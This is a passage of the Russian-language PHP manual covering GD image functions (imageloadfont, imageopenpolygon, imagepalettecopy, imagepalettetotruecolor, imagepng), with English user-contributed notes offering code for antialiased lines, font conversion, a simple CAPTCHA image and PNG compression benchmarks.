 $trgb = ImageColorAt($image,ceil($x),$y);
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,ceil ($x),$y,imagecolorallocate ($image, ($tcr * $xb + $icr * $xa),
($tcg * $xb + $icg * $xa),
($tcb * $xb + $icb * $xa)));

 $y ++;
 }# while_y_end
 }# else_abs_end
 }# else_y=y_x=x_end
}# drawOSLine_end
code_couturier at graffiti dot net 01-Oct-2003 09:33
# antialiased lines with true-type-fonts !?
# yip, it works - not very good - but faster
# (below 3 sec) than other routines (~7 sec)
# i saw here.

# the antialiased effect is minimal and only
# at the top of the line - but, as better as
# nothing ;)

# here is a drawLine routine from Logan Gunthorpe
# (logang at deltatee dot com) posted by nanobot at chipx86 dot com
# on php.net and enhanced/optimized by myself :)

function drawSoftLine ($image, $x1, $y1, $x2, $y2, $r,$g,$b) {

$fontfile="arial.ttf"; # the font for the dot
$str="?" ; # the point_char for the dot
$size=12; # the point for the dot_size

 $color = ImageColorAllocate ($image, $r,$g,$b);

 if ($x2 == $x1) {
 $tmp = $x1; $x1 = $y1; $y1 = $tmp;
 $tmp = $x2; $x2 = $y2; $y2 = $tmp;
 $swapx = true;
 }

 $m = (float)(( $y2 - $y1 ) / ( $x2 - $x1 ));
 $b = (float)($y1 - $m*$x1);

 $strx = min ( $x1 , $x2 );
 $endx = max ( $x1 , $x2 );
 $x=(int)0;

# the original loop was based on one for_loop
# with the if_swap inside. to speed up this loop
# i double it, to keep off the permanent if_call's.

if (!$swapx) {
 for ($x = $strx; $x <= $endx; $x++) {
   $y = (int)($m*$x + $b);
   imagettftext($image, $size, 0, $x, $y,
   $color, $fontfile,$str);
 }
} else {
 for ($x = $strx; $x <= $endx; $x++) {
   $y = (int)($m*$x + $b);
   imagettftext($image, $size, 0, $y, $x,
   $color, $fontfile,$str);
  }
}

}
nanobot at chipx86 dot com 17-Jun-2003 05:28
Here is a function for making antialiased lines:

 function imagesmoothline ( $image , $x1 , $y1 , $x2 , $y2 , $color )
 {
  $colors = imagecolorsforindex ( $image , $color );
  if ( $x1 == $x2 )
  {
   imageline ( $image , $x1 , $y1 , $x2 , $y2 , $color ); // Vertical line
  }
  else
  {
   $m = ( $y2 - $y1 ) / ( $x2 - $x1 );
   $b = $y1 - $m * $x1;
   if ( abs ( $m ) <= 1 )
   {
    $x = min ( $x1 , $x2 );
    $endx = max ( $x1 , $x2 );
    while ( $x <= $endx )
    {
     $y = $m * $x + $b;
     $y == floor ( $y ) ? $ya = 1 : $ya = $y - floor ( $y );
     $yb = ceil ( $y ) - $y;
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , $x , floor ( $y ) ) );
     $tempcolors['red'] = $tempcolors['red'] * $ya + $colors['red'] * $yb;
     $tempcolors['green'] = $tempcolors['green'] * $ya + $colors['green'] * $yb;
     $tempcolors['blue'] = $tempcolors['blue'] * $ya + $colors['blue'] * $yb;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , $x , floor ( $y ) , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , $x , ceil ( $y ) ) );
     $tempcolors['red'] = $tempcolors['red'] * $yb + $colors['red'] * $ya;
      $tempcolors['green'] = $tempcolors['green'] * $yb + $colors['green'] * $ya;
     $tempcolors['blue'] = $tempcolors['blue'] * $yb + $colors['blue'] * $ya;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , $x , ceil ( $y ) , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $x ++;
    }
   }
   else
   {
    $y = min ( $y1 , $y2 );
    $endy = max ( $y1 , $y2 );
    while ( $y <= $endy )
    {
     $x = ( $y - $b ) / $m;
     $x == floor ( $x ) ? $xa = 1 : $xa = $x - floor ( $x );
     $xb = ceil ( $x ) - $x;
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , floor ( $x ) , $y ) );
     $tempcolors['red'] = $tempcolors['red'] * $xa + $colors['red'] * $xb;
     $tempcolors['green'] = $tempcolors['green'] * $xa + $colors['green'] * $xb;
     $tempcolors['blue'] = $tempcolors['blue'] * $xa + $colors['blue'] * $xb;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , floor ( $x ) , $y , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , ceil ( $x ) , $y ) );
     $tempcolors['red'] = $tempcolors['red'] * $xb + $colors['red'] * $xa;
     $tempcolors['green'] = $tempcolors['green'] * $xb + $colors['green'] * $xa;
     $tempcolors['blue'] = $tempcolors['blue'] * $xb + $colors['blue'] * $xa;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , ceil ( $x ) , $y , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $y ++;
    }
   }
  }
 }

EDITOR: My previous code contained bugs. Please use this one instead.
kramesch_NOSPAM_ at _nospam_idsolutions dot at 26-Feb-2002 01:44
Here is a simple code to draw a line with an arbitrary stroke. The parameter aStroke is treated as a cyclic boolean array where true equals "set a point"
e.g. $aDotStroke = array(true,false);

function ImageStrokeLine($im,$x1,$y1,$x2,$y2,$farbe, $aStroke)
  {
    $deltax = abs($x2 - $x1);
    $deltay = abs($y2 - $y1);
    $x = $x1;
    $y = $y1;

    if ($x2 >= $x1)
    {
      $xinc1 = 1;
      $xinc2 = 1;
    }
    else
    {
      $xinc1 = -1;
      $xinc2 = -1;
    }

    if ($y2 >= $y1)
    {
      $yinc1 = 1;
      $yinc2 = 1;
    }
    else
    {
      $yinc1 = -1;
      $yinc2 = -1;
    }

    if ($deltax >= $deltay)
    {
      $xinc1 = 0;
      $yinc2 = 0;
      $den = $deltax;
      $num = $deltax / 2;
      $numadd = $deltay;
      $numpixels = $deltax;
    }
    else
    {
      $xinc2 = 0;
      $yinc1 = 0;
      $den = $deltay;
      $num = $deltay / 2;
      $numadd = $deltax;
      $numpixels = $deltay;
    }

    for ($curpixel = 0; $curpixel <= $numpixels; $curpixel++)
    {
      if ($iStrokeCount >= count($aStroke))
      {
        $iStrokeCount = 0;
      }

      if ($aStroke[$iStrokeCount++])
      {
        ImageSetPixel($im,$x, $y,$farbe);
      }
      $num += $numadd;
      if ($num >= $den)
      {
        $num -= $den;
        $x += $xinc1;
        $y += $yinc1;
      }
      $x += $xinc2;
      $y += $yinc2;
    }
  }
darren at php4hosting dot com 28-Oct-2000 10:48
It does work (With a bit of editing)
save the following as graph.php (You dont need any directorys)

<?php
Header("Content-type: image/png");
$picWidth=360*2;
$picHeight=200;
$pic=ImageCreate($picWidth+1,$picHeight+1);
$cWhite=ImageColorAllocate($pic,255,255,255);
ImageFilledRectangle($pic,0,0,$picWidth+1,$picHeight+1,$cWhite);
$cRed=ImageColorAllocate($pic,255,0,0);
$cBlue=ImageColorAllocate($pic,0,0,255);
$curX=0;
$curY=$picHeight;
for($pt=0;$pt<$picWidth;$pt++){
$newX=$curX+1;
$newY=($picHeight/2)+(cos(deg2rad($newX))*($picHeight/2));
ImageLine($pic,$curX,$curY,$newX,$newY,$cRed);
$curX=$newX;
$curY=$newY;
}
$curX=0;
$curY=$picHeight/2;
for($pt=0;$pt<$picWidth;$pt++){
$newX=$curX+1;
$newY=($picHeight/2)+(sin(deg2rad($newX))*($picHeight/2));
ImageLine($pic,$curX,$curY,$newX,$newY,$cBlue);
$curX=$newX;
$curY=$newY;
}
$cBlack=ImageColorAllocate($pic,0,0,0);
ImageLine($pic,0,0,0,$picHeight,$cBlack);
ImageLine($pic,0,$picHeight/2,$picWidth,$picHeight/2,$cBlack);
ImagePNG($pic);
ImageDestroy($pic);
?>


Загрузка шрифта

  • « imageline
  • imageopenpolygon »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Загрузка шрифта

imageloadfont

(PHP 4, PHP 5, PHP 7, PHP 8)

imageloadfont — Загрузка шрифта

Описание

imageloadfont(string $filename): GdFont|false

imageloadfont() загружает определённый пользователем шрифт и возвращает его идентификатор.

Список параметров

filename

Формат файла шрифта двоичный и зависит от архитектуры системы. Это означает необходимость генерировать файл шрифта на том же процессоре, на котором работает PHP.

Формат файла шрифта
позиция байта | тип данных C | описание
байты 0-3 | int | количество символов в шрифте
байты 4-7 | int | значение первого символа в шрифте (часто 32 - пробел)
байты 8-11 | int | ширина пиксела каждого символа
байты 12-15 | int | высота пиксела каждого символа
байты 16- | char | массив с данными символов, один байт на пиксел в каждом символе. Для всех кол-во*высота*ширина байт.

Возвращаемые значения

Возвращает экземпляр GdFont или false в случае возникновения ошибки. Идентификатор шрифта, который всегда больше 5 для предотвращения конфликтов со встроенными шрифтами, либо false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр GdFont; ранее возвращалось целое число (int).

Примеры

Пример #1 Пример использования imageloadfont()

<?php
// Создание нового изображения
$im = imagecreatetruecolor(50, 20);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// Белый фон
imagefilledrectangle($im, 0, 0, 49, 19, $white);

// Загрузка gd шрифта и надпись 'Привет'
$font = imageloadfont('./04b.gdf');
imagestring($im, $font, 0, 0, 'Привет', $black);

// Вывод изображения
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

Смотрите также

  • imagefontwidth() - Получение ширины шрифта
  • imagefontheight() - Получение высоты шрифта

User Contributed Notes

siker at norwinter dot com 28-Aug-2005 06:37
Working under the assumption that the only 'architecture dependant' part of the font files is endianness, I wrote a quick and dirty Python script to convert between the two. It has only been tested on a single font on a single machine so don't bet your life on it working. All it does is swap the byte order of the first four ints.

#!/usr/bin/env python

f = open("myfont.gdf", "rb");
d = open("myconvertedfont.gdf", "wb");

for i in xrange(4):
        b = [f.read(1) for j in xrange(4)];
        b.reverse();
        d.write(''.join(b));

d.write(f.read());

I successfully used this script to convert anonymous.gdf, from one of the font links below, into something useable on Mac OS X.
matthew at exanimo dot com 15-Aug-2005 10:28
Remember - GD fonts aren't antialiased.  If you're planning on using a pre-existing (TrueType) font, you may want to consider using imagettftext() instead of phillip's function.
alex at bestgames dot ro 02-Jul-2005 05:01
Confirmation code generation for preventing automated registrations on a website.

Function arguments are:
$code - the code that you shall random generate
$location - relative location of the image that shall be generated
$fonts_dir - relative location for the GDF fonts directory

This function will create an image with the code given by you and will save it in the directory specified with the name formed by MD5 hash of the code.

You may insert as many font types in the fonts directory as you wish, with random names.

<?php
function generate_image($code, $location, $fonts_dir)
{
     $image  = imagecreate(150, 60);
     imagecolorallocate($image, rand(0, 100), rand(100, 150), rand(150, 250));
     $fonts = scandir($fonts_dir);

     $max = count($fonts) - 2;

     $width = 10;
     for ($i = 0; $i <= strlen($code); $i++)
     {
         $textcolor = imagecolorallocate($image, 255, 255, 255);
         $rand = rand(2, $max);
         $font = imageloadfont($fonts_dir."/".$fonts[$rand]);

         $fh = imagefontheight($font);
         $fw = imagefontwidth($font);

         imagechar($image, $font, $width, rand(10, 50 - $fh), $code[$i], $textcolor);
          $width = $width + $fw;

     }

     imagejpeg($image, $location."/".md5($code).".jpg", 100);
     imagedestroy($image);

     return $code;

}

?>
angryziber at mail dot com 23-Aug-2000 07:23
You all should look at the GD image library site for information on extra fonts, it can be found at http://www.boutell.com/gd/


Рисует открытый полигон

  • « imageloadfont
  • imagepalettecopy »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисует открытый полигон

imageopenpolygon

(PHP 7 >= 7.2.0, PHP 8)

imageopenpolygon — Рисует открытый полигон

Описание

Сигнатура, начиная с PHP 8.0.0 (не поддерживается с именованными аргументами)

imageopenpolygon(GdImage $image, array $points, int $color): bool

Альтернативный синтаксис (начиная с PHP 8.0.0)

imageopenpolygon(
GdImage $image,
array $points,
int $num_points,
int $color
): bool

imageopenpolygon() рисует открытый полигон на заданном изображении (image). В отличие от imagepolygon(), линия между последней и первой точкой не рисуется.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

points

Массив, содержащий вершины многоугольника, например:

points[0] | = x0
points[1] | = y0
points[2] | = x1
points[3] | = y1

num_points

Общее число точек (вершин), должно быть не меньше 3.

Если этот параметр опущен (смотрите альтернативный синтаксис), то массив points должен содержать чётное количество элементов и num_points будет вычислено как count($points)/2.
color

Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр num_points объявлен устаревшим.
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imageopenpolygon()

<?php
// Создать пустое изображение
$image = imagecreatetruecolor(400, 300);

// Выделение цвета для полигона
$col_poly = imagecolorallocate($image, 255, 255, 255);

// Нарисовать полигон
imageopenpolygon($image, array(
0, 0,
100, 200,
300, 200
),
3,
$col_poly);

// Вывод изображения в браузер
header('Content-type: image/png');

imagepng($image);
imagedestroy($image);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера : imageopenpolygon()

Смотрите также

  • imagepolygon() - Рисование многоугольника

User Contributed Notes

marco at oostende dot nl 16-Dec-2018 11:56
In case you want to use an open polygon but are stuck with a PHP version prior to 7.2, a solution may be to 'backplot' your array to its original start. Say you have an array of pixels (below seperated by commas)

<?php
$arr = array();
for ($i = 0; $i < count($pixels); $i++) {
    $pixel = explode(',', $pixels[$i]);
    if (($pixel[0] > 0) && ($pixel[1] > 0)) {
        $arr[] = $pixel[0];
        $arr[] = $pixel[1];
    }
}
imagepolygon($im, $arr, (count($arr) / 2), $otcolor);
?>

you can replace this by something like

<?php
$arr = array();
for ($i = 0; $i < count($pixels); $i++) {
    $pixel = explode(',', $pixels[$i]);
    $arr[] = $pixel[0];
    $arr[] = $pixel[1];
}
// imageopenpolygon($im, $arr, (count($arr) / 2), $otcolor) is not possible, so...
for ($i = (count($pixels)-1); $i >= 0; $i--) {
    $pixel = explode(',', $pixels[$i]);
    $arr[] = $pixel[0];
    $arr[] = $pixel[1];
}
imagepolygon($im, $arr, (count($arr) / 2), $otcolor);
?>


Копирование палитры из одного изображения в другое

  • « imageopenpolygon
  • imagepalettetotruecolor »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Копирование палитры из одного изображения в другое

imagepalettecopy

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagepalettecopy — Копирование палитры из одного изображения в другое

Описание

imagepalettecopy(GdImage $dst, GdImage $src): void

imagepalettecopy() копирует палитру цветов из изображения src в изображение dst.

Список параметров

dst

Объект результирующего изображения.

src

Объект исходного изображения.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | dst и src теперь ожидают экземпляр GdImage; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования imagepalettecopy()

<?php
// Создание двух палитровых изображений
$palette1 = imagecreate(100, 100);
$palette2 = imagecreate(100, 100);

// Зелёный фон у первого изображения
$green = imagecolorallocate($palette1, 0, 255, 0);

// Копирование палитры из 1го во 2е изображение
imagepalettecopy($palette2, $palette1);

// Так как палитра скопирована с уже созданным зелёным цветом
// нет нужды использовать imagecolorallocate() дважды
imagefilledrectangle($palette2, 0, 0, 99, 99, $green);

// Вывод изображения в броузер
header('Content-type: image/png');

imagepng($palette2);
imagedestroy($palette1);
imagedestroy($palette2);
?>

User Contributed Notes

buzz at nospam dot oska dot com 20-Oct-2005 04:51
actually it doesn't "copy" the palette exactly.  It copys the colors from the source palette to the destination image.   the palette you end up with in the destination image will be "same colors different order".   If you want an EXACT palette copy (at the expense of messing up your image if you aren't careful), then use this code:
<?
// this is a drop-in replacement for imagepalettecopy, except that it make NO attempt to modifiy any of the
// colors in the dest image, just the palette.   The result?  if you're palette's aren't very similar, the image will look completely different, and likely terrible!
function imagepalettecopy_exact ( $dst_img, $src_img) {
    for( $c = 0 ; $c < imagecolorstotal($src_img); $c++) {
        $col = imagecolorsforindex($src_img,$c);  //get color at index 'c' in the color table
        imagecolorset($dst_img,$c,$col[red],$col[green],$col[blue]); //set color at index 'c' to $col in the $dst_image
    }
}

?>
Los Olvidados 09-Jan-2003 04:55
To be precise, this function replaces the palette in the destination.


Преобразует изображение на основе палитры в настоящий цвет

  • « imagepalettecopy
  • imagepng »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Преобразует изображение на основе палитры в настоящий цвет

imagepalettetotruecolor

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imagepalettetotruecolor — Преобразует изображение на основе палитры в настоящий цвет

Описание

imagepalettetotruecolor(GdImage $image): bool

Преобразует на основе палитры изображение, созданное функцией, такой как imagecreate() до настоящего (true) цвета изображения, как imagecreatetruecolor().

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

Возвращаемые значения

Возвращает true, если преобразование завершено, или если исходное изображение уже является изображением настоящего цвета, в противном случае возвращается false.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Конвертирует любой объект изображения в настоящий цвет

<?php
// Для обратной совместимости
if(!function_exists('imagepalettetotruecolor'))
{
function imagepalettetotruecolor(&$src)
{
if(imageistruecolor($src))
{
return(true);
}

$dst = imagecreatetruecolor(imagesx($src), imagesy($src));

imagecopy($dst, $src, 0, 0, 0, 0, imagesx($src), imagesy($src));
imagedestroy($src);

$src = $dst;

return(true);
}
}

// Анонимная функция-помощник
$typeof = function() use($im)
{
echo 'typeof($im) = ' . (imageistruecolor($im) ? 'true color' : 'palette'), PHP_EOL;
};

// Создание изображения на основе палитры
$im = imagecreate(100, 100);
$typeof();

// Преобразовать в настоящий цвет
imagepalettetotruecolor($im);
$typeof();

// Освободить память
imagedestroy($im);
?>

Результат выполнения данного примера:

typeof($im) = palette
typeof($im) = true color

Смотрите также

  • imagecreatetruecolor() - Создание нового полноцветного изображения
  • imageistruecolor() - Определяет, является ли изображение полноцветным

User Contributed Notes

walf - iftfy 17-Mar-2017 03:46
here the working version of walf's solution

<?php
// Backwards compatiblity
if (!function_exists('imagepalettetotruecolor')) {
    function imagepalettetotruecolor(&$src) {
        if (imageistruecolor($src)) {
            return true;
        }

        $dst = imagecreatetruecolor(imagesx($src), imagesy($src));

        imagealphablending($dst, false);//prevent blending with default black
        $transparent = imagecolorallocatealpha($dst, 255, 255, 255, 127);//change the RGB values if you need, but leave alpha at 127
        imagefilledrectangle($dst, 0, 0, imagesx($src), imagesy($src), $transparent);//simpler than flood fill
        imagealphablending($dst, true);//restore default blending

        imagecopy($dst, $src, 0, 0, 0, 0, imagesx($src), imagesy($src));
        imagedestroy($src);

        $src = $dst;
        return true;
    }
}
?>
Polda18 30-Apr-2014 02:44
PHP ver 5.4.24 does not support this function (it has not been defined). To get rid of this, you must copy image resource to new image created by function imagecreatetruecolor();

Example with image loaded from GIF file:

$image  = imagecreatefromgif("path/to/gif/file.gif");  //create an image from GIF
$width  = imagesx($image);                             //get width of source image
$height = imagesy($image);                             //get height of source image
$image2 = imagecreatetruecolor($width,$height);        //create new image of true colors with given width and height
imagecopy($image2,$image,0,0,0,0,$width,$height);      //copy source image to new one

header("Content-Type: image/jpeg");                    //set header for JPG image
imagejpg($image2);                                     //render JPg image into browser

imagedestroy($image);                                  //free up memory
imagedestroy($image2);
walf 21-Mar-2014 06:20
The backwards compatibility example does not preserve transparency. You must first wipe out the default black background on the new image:

<?php
// Backwards compatiblity
if (!function_exists('imagepalettetotruecolor')) {
    function imagepalettetotruecolor(&$src) {
        if (imageistruecolor($src)) {
            return true;
        }

        $dst = imagecreatetruecolor(imagesx($src), imagesy($src));

        imagealphablending($dst, false);//prevent blending with default black
        $transparent = imagecolorallocatealpha($new_image, 255, 255, 255, 127);//change the RGB values if you need, but leave alpha at 127
        imagefilledrectangle($dst, 0, 0, $imagesx($src), imagesy($src), $transparent);//simpler than flood fill
        imagealphablending($dst, true);//restore default blending

        imagecopy($dst, $src, 0, 0, 0, 0, imagesx($src), imagesy($src));
        imagedestroy($src);

        $src = $dst;
        return true;
    }
}
?>


Вывод PNG изображения в браузер или файл

  • « imagepalettetotruecolor
  • imagepolygon »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Вывод PNG изображения в браузер или файл

imagepng

(PHP 4, PHP 5, PHP 7, PHP 8)

imagepng — Вывод PNG изображения в браузер или файл

Описание

imagepng(
GdImage $image,
resource|string|null $file = null,
int $quality = -1,
int $filters = -1
): bool

Выводит или сохраняет PNG изображение image.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

file

Путь, или открытый потоковый ресурс (который автоматически закрывается после завершения функции), для сохранения файла. Если не установлен или равен null, изображение будет выведено в поток вывода в бинарном виде.

Замечание:

Недопустимо передавать null, если не используются аргументы quality и filters.

quality

Степень сжатия: от 0 (нет сжатия) до 9. По умолчанию (-1) используется значение по умолчанию сжатия zlib. Более подробно читайте в » руководстве по zlib.

filters

Позволяет уменьшить размер PNG файла. Это битовая маска, значением которой может быть комбинация констант PNG_FILTER_XXX. Для включения или выключения всех фильтров удобно воспользоваться константами PNG_NO_FILTER или PNG_ALL_FILTERS соответственно. Значение по умолчанию (-1) отключает фильтрацию.

Предостережение

Параметр filters игнорируется системной библиотекой libgd.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Предостережение

Однако, если libgd не может вывести изображения, эта функция вернёт true.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

<?php
$im = imagecreatefrompng("test.png");

header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

Смотрите также

  • imagegif() - Выводит изображение в браузер или пишет в файл
  • imagewbmp() - Выводит изображение в браузер или пишет в файл
  • imagejpeg() - Выводит изображение в браузер или пишет в файл
  • imagetypes() - Возвращает список типов изображений, поддерживаемых PHP сборкой
  • imagesavealpha() - Сохранять ли полную информацию альфа-канала при сохранении изображений

User Contributed Notes

Messerli at messerli dot net 22-Apr-2023 03:26
// Send the Image as Base64 Data directly to the browser.
// No File on the Server! No Hacker Problem.

  ob_start();
  imagepng($img);
  $ImageData=ob_get_contents();
  ob_end_clean();
  echo '<img src="data:image/jpg;base64,'.base64_encode($ImageData).'">';
klaus at hax dot at 07-Feb-2017 05:25
apparently something changed from php 5.5 to 5.6.

I used to call ImagePng($image, '');
apparently this doesn't work anymore in 5.6 as it returns: imagepng(): Filename cannot be empty

ImagePng($image, NULL);

seems to work fine though.
Chris F 14-Aug-2015 04:33
I was curious about the relationship between quality, processing time and resulting image size, so I created this little benchmark to test it (The image used was originally RGB_24bits_palette_R85.png, found on wikipedia). Results are at the bottom.
<?php
$sizes = ['32', '64', '128', '256', '512', '1024', '2048'];

foreach ($sizes as $size) {
    echo "\nSize: {$size}x{$size}px:\n";

    $image = imagecreatefrompng("images/test{$size}.png");
    for ($quality = 0; $quality < 10; $quality++) {
        ob_start();

        $start = microtime(true);
        imagepng($image, null, $quality);
        $elapsed = microtime(true) - $start;

        $blob = ob_get_contents();
        ob_end_clean();

        $blobSize = strlen($blob);
        echo "quality: $quality, size: $blobSize, elapsed: $elapsed\n";
    }

    imagedestroy($image);
}

// Results (some omitted for brevity):

// Size: 32x32px:
// quality: 0, size: 3172, elapsed: 0.00013399124145508
// quality: 1, size: 266, elapsed: 9.4890594482422E-5
// quality: 2, size: 264, elapsed: 7.7009201049805E-5
// quality: 3, size: 223, elapsed: 7.4863433837891E-5
// quality: 4, size: 225, elapsed: 8.5830688476562E-5
// quality: 5, size: 209, elapsed: 8.5115432739258E-5
// quality: 6, size: 208, elapsed: 9.608268737793E-5
// quality: 7, size: 205, elapsed: 0.0001060962677002
// quality: 8, size: 186, elapsed: 0.00015091896057129
// quality: 9, size: 181, elapsed: 0.00022006034851074

// Size: 128x128px:
// quality: 0, size: 49425, elapsed: 0.0010969638824463
// quality: 1, size: 976, elapsed: 0.00091886520385742
// quality: 2, size: 938, elapsed: 0.00088310241699219
// quality: 3, size: 925, elapsed: 0.00087594985961914
// quality: 4, size: 608, elapsed: 0.0009760856628418
// quality: 5, size: 607, elapsed: 0.00098395347595215
// quality: 6, size: 601, elapsed: 0.0010099411010742
// quality: 7, size: 602, elapsed: 0.001086950302124
// quality: 8, size: 521, elapsed: 0.001910924911499
// quality: 9, size: 491, elapsed: 0.0029060840606689

// Size: 512x512px:
// quality: 0, size: 788279, elapsed: 0.012928009033203
// quality: 1, size: 12467, elapsed: 0.013065099716187
// quality: 2, size: 11885, elapsed: 0.013008117675781
// quality: 3, size: 11190, elapsed: 0.013030052185059
// quality: 4, size: 7311, elapsed: 0.016619920730591
// quality: 5, size: 6994, elapsed: 0.016351222991943
// quality: 6, size: 6475, elapsed: 0.016234159469604
// quality: 7, size: 6432, elapsed: 0.016525983810425
// quality: 8, size: 6094, elapsed: 0.022937774658203
// quality: 9, size: 5649, elapsed: 0.065664052963257

// Size: 2048x2048px:
// quality: 0, size: 12605375, elapsed: 0.20983290672302
// quality: 1, size: 451735, elapsed: 0.19678711891174
// quality: 2, size: 409375, elapsed: 0.19415307044983
// quality: 3, size: 366404, elapsed: 0.20460414886475
// quality: 4, size: 312538, elapsed: 0.22785305976868
// quality: 5, size: 281671, elapsed: 0.23320484161377
// quality: 6, size: 244248, elapsed: 0.28935289382935
// quality: 7, size: 238310, elapsed: 0.33481192588806
// quality: 8, size: 217038, elapsed: 0.71698379516602
// quality: 9, size: 208881, elapsed: 1.858146905899
?>
php dot net at phor dot net 23-Oct-2013 01:46
If you are outputting a PNG directly in response to a client request it is important to check your web server configuration.

Some clients may request your images with a <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html">accept header</a> of image/*. Default configurations of Apache and possibly other servers will by default NOT allow your script to run in response to this request.

Apache is specifically discussed at http://stackoverflow.com/q/19169337 but other server have been documented to have issue too.

In other words, when testing your application don't just use the web browser, consider a phone's browser and networking libraries which could send different headers.
geompse at gmail dot com 23-Mar-2012 11:41
Be careful when using a variable for the file name.
PHP behavior with $filename differs when switching to PHP5.4 : PHP5.3 will use $filename='' the same way as $filename=NULL (e.g. no warning)
<?php
$im = imagecreatetruecolor(10,10);
imagepng($im,'',9); # Warning: imagepng(): Filename cannot be empty
imagepng($im,NULL,9); # works as expected
imagedestroy($im);
?>
matteosistisette at gmail dot com 09-Oct-2011 12:02
The name "quality" for the compression parameter is quite misleading, as png compression is always lossless. The trade off is between speed and filesize, it cannot affect quality.

Here's something I found at stackoverflow; I haven't checked it, but if it is correct it should definitely included in the documentation:

---
from php source (gd.h):

/* 2.0.12: Compression level: 0-9 or -1, where 0 is NO COMPRESSION at all,
* 1 is FASTEST but produces larger files, 9 provides the best
* compression (smallest files) but takes a long time to compress, and
* -1 selects the default compiled into the zlib library.
*/
Conclusion: Based on the Zlib manual (http://www.zlib.net/manual.html) the default compression level is set to 6.
---

Regarding suggestions to rescale the 0-99 quality range of jpeg into the 0-9 range of png, note that for jpeg 99 is minimum compression (maximum quality) while for png 9 is maximum compression (quality doesn't change).
Zane, MegaLab.it 14-Jul-2011 11:38
My script was unable to complete: Fatal error: Allowed memory size of XX bytes exhausted (tried to allocate XX+n bytes).

I found out that PHP handles images in uncompressed format: my input image was 8768x4282@32 bit => ~150 MB per single in-memory copy.

As a solution, you can either check the dimensions and reject anything too big or, as I did, use ini_set('memory_limit','1024M'); on the page start (if your server has enough on board memory).
boukeversteegh at gmail dot com 03-May-2011 02:41
If you care about speed, you probably already cache your generated images to a file. In that case, DON'T use "createimagefrompng" and "imagepng" to output the image. Use fpassthru instead. It is literally hundreds of times faster.

<?php
  header("Content-Type: image/png");

  # Generate cachefile for image, if it doesn't exist
  if( !file_exists($cachefile) ) {
    $im = generateimage();     # some code generates an image resource
    imagepng($im, $cachefile); # store the image to cachefile

    # don't output it like this:
    /* imagepng($im);*/

    imagedestroy($im);
  }

  $fp = fopen($cachefile, 'rb'); # stream the image directly from the cachefile
  fpassthru($fp);
  exit;
?>

I've tested it with a 5120x5120 (1.2Mb) image, that was cached on the harddisk. Using imagepng, the transfer took 12 seconds. Using fpassthru, it took only 32ms!
codam 15-Mar-2011 10:03
Creating a transparent image filled with tranparent color only

I had some hard times putting up this one:

<?php
// Set the image
$img = imagecreatetruecolor(100,100);
imagesavealpha($img, true);

// Fill the image with transparent color
$color = imagecolorallocatealpha($img,0x00,0x00,0x00,127);
imagefill($img, 0, 0, $color);

// Save the image to file.png
imagepng($img, "file.png");

// Destroy image
imagedestroy($img);
?>
mhorne69 at gmail dot com 24-Oct-2010 07:02
